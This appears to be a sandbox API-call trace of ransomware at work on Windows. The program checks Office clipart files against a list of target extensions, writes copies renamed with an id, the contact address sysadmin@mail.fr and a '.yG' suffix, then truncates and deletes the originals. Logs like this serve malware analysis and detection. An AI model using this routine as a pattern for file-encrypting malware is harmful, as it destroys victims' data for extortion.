	[0154.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0154.419] lstrlenW (lpString=".1cd") returned 4
	[0154.419] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0154.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0154.420] lstrlenW (lpString=".jpg") returned 4
	[0154.420] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0154.420] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0154.420] lstrlenW (lpString="J0099146.WMF") returned 12
	[0154.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0154.421] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=16596) returned 1
	[0154.421] CloseHandle (hObject=0x52c) returned 1
	[0154.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf")) returned 0x220
	[0154.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0154.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0154.421] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.422] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0154.422] GetLastError () returned 0x0
	[0154.422] ReadFile (in: hFile=0x52c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x40d4, lpOverlapped=0x0) returned 1
	[0154.425] WriteFile (in: hFile=0x550, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x40e0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x40e0, lpOverlapped=0x0) returned 1
	[0154.426] ReadFile (in: hFile=0x52c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0154.426] WriteFile (in: hFile=0x550, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0154.426] SetEndOfFile (hFile=0x550) returned 1
	[0154.427] CloseHandle (hObject=0x550) returned 1
	[0154.427] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.427] SetEndOfFile (hFile=0x52c) returned 1
	[0154.432] CloseHandle (hObject=0x52c) returned 1
	[0154.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0154.433] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf")) returned 1
	[0154.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0154.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0154.434] lstrlenW (lpString=".doc") returned 4
	[0154.434] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0154.434] lstrlenW (lpString=".docx") returned 5
	[0154.434] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0154.434] lstrlenW (lpString=".pdf") returned 4
	[0154.434] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0154.434] lstrlenW (lpString=".xls") returned 4
	[0154.434] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0154.434] lstrlenW (lpString=".xlsx") returned 5
	[0154.434] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0154.434] lstrlenW (lpString=".ppt") returned 4
	[0154.434] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0154.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0154.434] lstrlenW (lpString=".zip") returned 4
	[0154.434] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0154.434] lstrlenW (lpString=".rar") returned 4
	[0154.434] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0154.434] lstrlenW (lpString=".bz2") returned 4
	[0154.434] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0154.435] lstrlenW (lpString=".7z") returned 3
	[0154.435] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0154.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0154.435] lstrlenW (lpString=".dbf") returned 4
	[0154.435] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0154.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0154.435] lstrlenW (lpString=".1cd") returned 4
	[0154.435] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0154.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0154.435] lstrlenW (lpString=".jpg") returned 4
	[0154.435] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0154.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0154.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0154.435] lstrlenW (lpString=".doc") returned 4
	[0154.435] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0154.435] lstrlenW (lpString=".docx") returned 5
	[0154.435] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0154.435] lstrlenW (lpString=".pdf") returned 4
	[0154.435] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0154.435] lstrlenW (lpString=".xls") returned 4
	[0154.435] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0154.435] lstrlenW (lpString=".xlsx") returned 5
	[0154.435] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0154.435] lstrlenW (lpString=".ppt") returned 4
	[0154.435] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0154.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0154.436] lstrlenW (lpString=".zip") returned 4
	[0154.436] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0154.436] lstrlenW (lpString=".rar") returned 4
	[0154.436] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0154.436] lstrlenW (lpString=".bz2") returned 4
	[0154.436] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0154.436] lstrlenW (lpString=".7z") returned 3
	[0154.436] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0154.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0154.436] lstrlenW (lpString=".dbf") returned 4
	[0154.436] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0154.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0154.436] lstrlenW (lpString=".1cd") returned 4
	[0154.436] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0154.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0154.436] lstrlenW (lpString=".jpg") returned 4
	[0154.436] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0154.436] lstrcmpiW (lpString1=".JPG", lpString2=".yG") returned -1
	[0154.436] lstrlenW (lpString="J0099147.JPG") returned 12
	[0154.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0154.438] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=24377) returned 1
	[0154.438] CloseHandle (hObject=0x52c) returned 1
	[0154.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg")) returned 0x220
	[0154.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0154.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0154.439] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.439] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0154.440] GetLastError () returned 0x0
	[0154.440] ReadFile (in: hFile=0x52c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x5f39, lpOverlapped=0x0) returned 1
	[0154.812] WriteFile (in: hFile=0x550, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x5f40, lpOverlapped=0x0) returned 1
	[0154.814] ReadFile (in: hFile=0x52c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0154.814] WriteFile (in: hFile=0x550, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0154.814] SetEndOfFile (hFile=0x550) returned 1
	[0154.832] CloseHandle (hObject=0x550) returned 1
	[0154.850] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.850] SetEndOfFile (hFile=0x52c) returned 1
	[0154.853] CloseHandle (hObject=0x52c) returned 1
	[0154.853] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0154.854] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg")) returned 1
	[0154.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0154.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0154.854] lstrlenW (lpString=".doc") returned 4
	[0154.854] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0154.854] lstrlenW (lpString=".docx") returned 5
	[0154.855] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0154.855] lstrlenW (lpString=".pdf") returned 4
	[0154.855] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0154.855] lstrlenW (lpString=".xls") returned 4
	[0154.855] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0154.855] lstrlenW (lpString=".xlsx") returned 5
	[0154.855] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0154.855] lstrlenW (lpString=".ppt") returned 4
	[0154.855] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0154.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0154.855] lstrlenW (lpString=".zip") returned 4
	[0154.855] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0154.855] lstrlenW (lpString=".rar") returned 4
	[0154.855] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0154.855] lstrlenW (lpString=".bz2") returned 4
	[0154.855] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0154.855] lstrlenW (lpString=".7z") returned 3
	[0154.855] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0154.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0154.855] lstrlenW (lpString=".dbf") returned 4
	[0154.855] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0154.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0154.855] lstrlenW (lpString=".1cd") returned 4
	[0154.855] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0154.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0154.855] lstrlenW (lpString=".jpg") returned 4
	[0154.855] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0154.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0154.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0154.856] lstrlenW (lpString=".doc") returned 4
	[0154.856] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0154.856] lstrlenW (lpString=".docx") returned 5
	[0154.856] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0154.856] lstrlenW (lpString=".pdf") returned 4
	[0154.856] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0154.856] lstrlenW (lpString=".xls") returned 4
	[0154.856] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0154.856] lstrlenW (lpString=".xlsx") returned 5
	[0154.856] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0154.856] lstrlenW (lpString=".ppt") returned 4
	[0154.856] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0154.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0154.856] lstrlenW (lpString=".zip") returned 4
	[0154.856] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0154.856] lstrlenW (lpString=".rar") returned 4
	[0154.856] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0154.856] lstrlenW (lpString=".bz2") returned 4
	[0154.856] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0154.856] lstrlenW (lpString=".7z") returned 3
	[0154.856] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0154.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0154.856] lstrlenW (lpString=".dbf") returned 4
	[0154.856] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0154.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0154.856] lstrlenW (lpString=".1cd") returned 4
	[0154.856] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0154.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0154.857] lstrlenW (lpString=".jpg") returned 4
	[0154.857] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0154.857] lstrcmpiW (lpString1=".JPG", lpString2=".yG") returned -1
	[0154.857] lstrlenW (lpString="J0099150.JPG") returned 12
	[0154.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0154.858] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=21914) returned 1
	[0154.858] CloseHandle (hObject=0x52c) returned 1
	[0154.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg")) returned 0x220
	[0154.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0154.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0154.859] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.859] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0154.860] GetLastError () returned 0x0
	[0154.860] ReadFile (in: hFile=0x52c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x559a, lpOverlapped=0x0) returned 1
	[0154.862] WriteFile (in: hFile=0x550, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x55a0, lpOverlapped=0x0) returned 1
	[0154.864] ReadFile (in: hFile=0x52c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0154.864] WriteFile (in: hFile=0x550, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0154.864] SetEndOfFile (hFile=0x550) returned 1
	[0154.864] CloseHandle (hObject=0x550) returned 1
	[0154.864] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.864] SetEndOfFile (hFile=0x52c) returned 1
	[0154.869] CloseHandle (hObject=0x52c) returned 1
	[0154.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0154.869] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg")) returned 1
	[0154.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0154.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0154.870] lstrlenW (lpString=".doc") returned 4
	[0154.870] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0154.870] lstrlenW (lpString=".docx") returned 5
	[0154.870] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0154.870] lstrlenW (lpString=".pdf") returned 4
	[0154.870] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0154.870] lstrlenW (lpString=".xls") returned 4
	[0154.870] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0154.870] lstrlenW (lpString=".xlsx") returned 5
	[0154.870] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0154.870] lstrlenW (lpString=".ppt") returned 4
	[0154.870] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0154.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0154.870] lstrlenW (lpString=".zip") returned 4
	[0154.871] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0154.871] lstrlenW (lpString=".rar") returned 4
	[0154.871] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0154.871] lstrlenW (lpString=".bz2") returned 4
	[0154.871] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0154.871] lstrlenW (lpString=".7z") returned 3
	[0154.871] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0154.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0154.871] lstrlenW (lpString=".dbf") returned 4
	[0154.871] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0154.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0154.871] lstrlenW (lpString=".1cd") returned 4
	[0154.871] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0154.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0154.871] lstrlenW (lpString=".jpg") returned 4
	[0154.871] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0154.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0154.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0154.871] lstrlenW (lpString=".doc") returned 4
	[0154.871] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0154.871] lstrlenW (lpString=".docx") returned 5
	[0154.871] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0154.871] lstrlenW (lpString=".pdf") returned 4
	[0154.871] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0154.871] lstrlenW (lpString=".xls") returned 4
	[0154.871] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0154.872] lstrlenW (lpString=".xlsx") returned 5
	[0154.872] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0154.872] lstrlenW (lpString=".ppt") returned 4
	[0154.872] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0154.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0154.872] lstrlenW (lpString=".zip") returned 4
	[0154.872] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0154.872] lstrlenW (lpString=".rar") returned 4
	[0154.872] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0154.872] lstrlenW (lpString=".bz2") returned 4
	[0154.872] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0154.872] lstrlenW (lpString=".7z") returned 3
	[0154.872] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0154.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0154.872] lstrlenW (lpString=".dbf") returned 4
	[0154.872] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
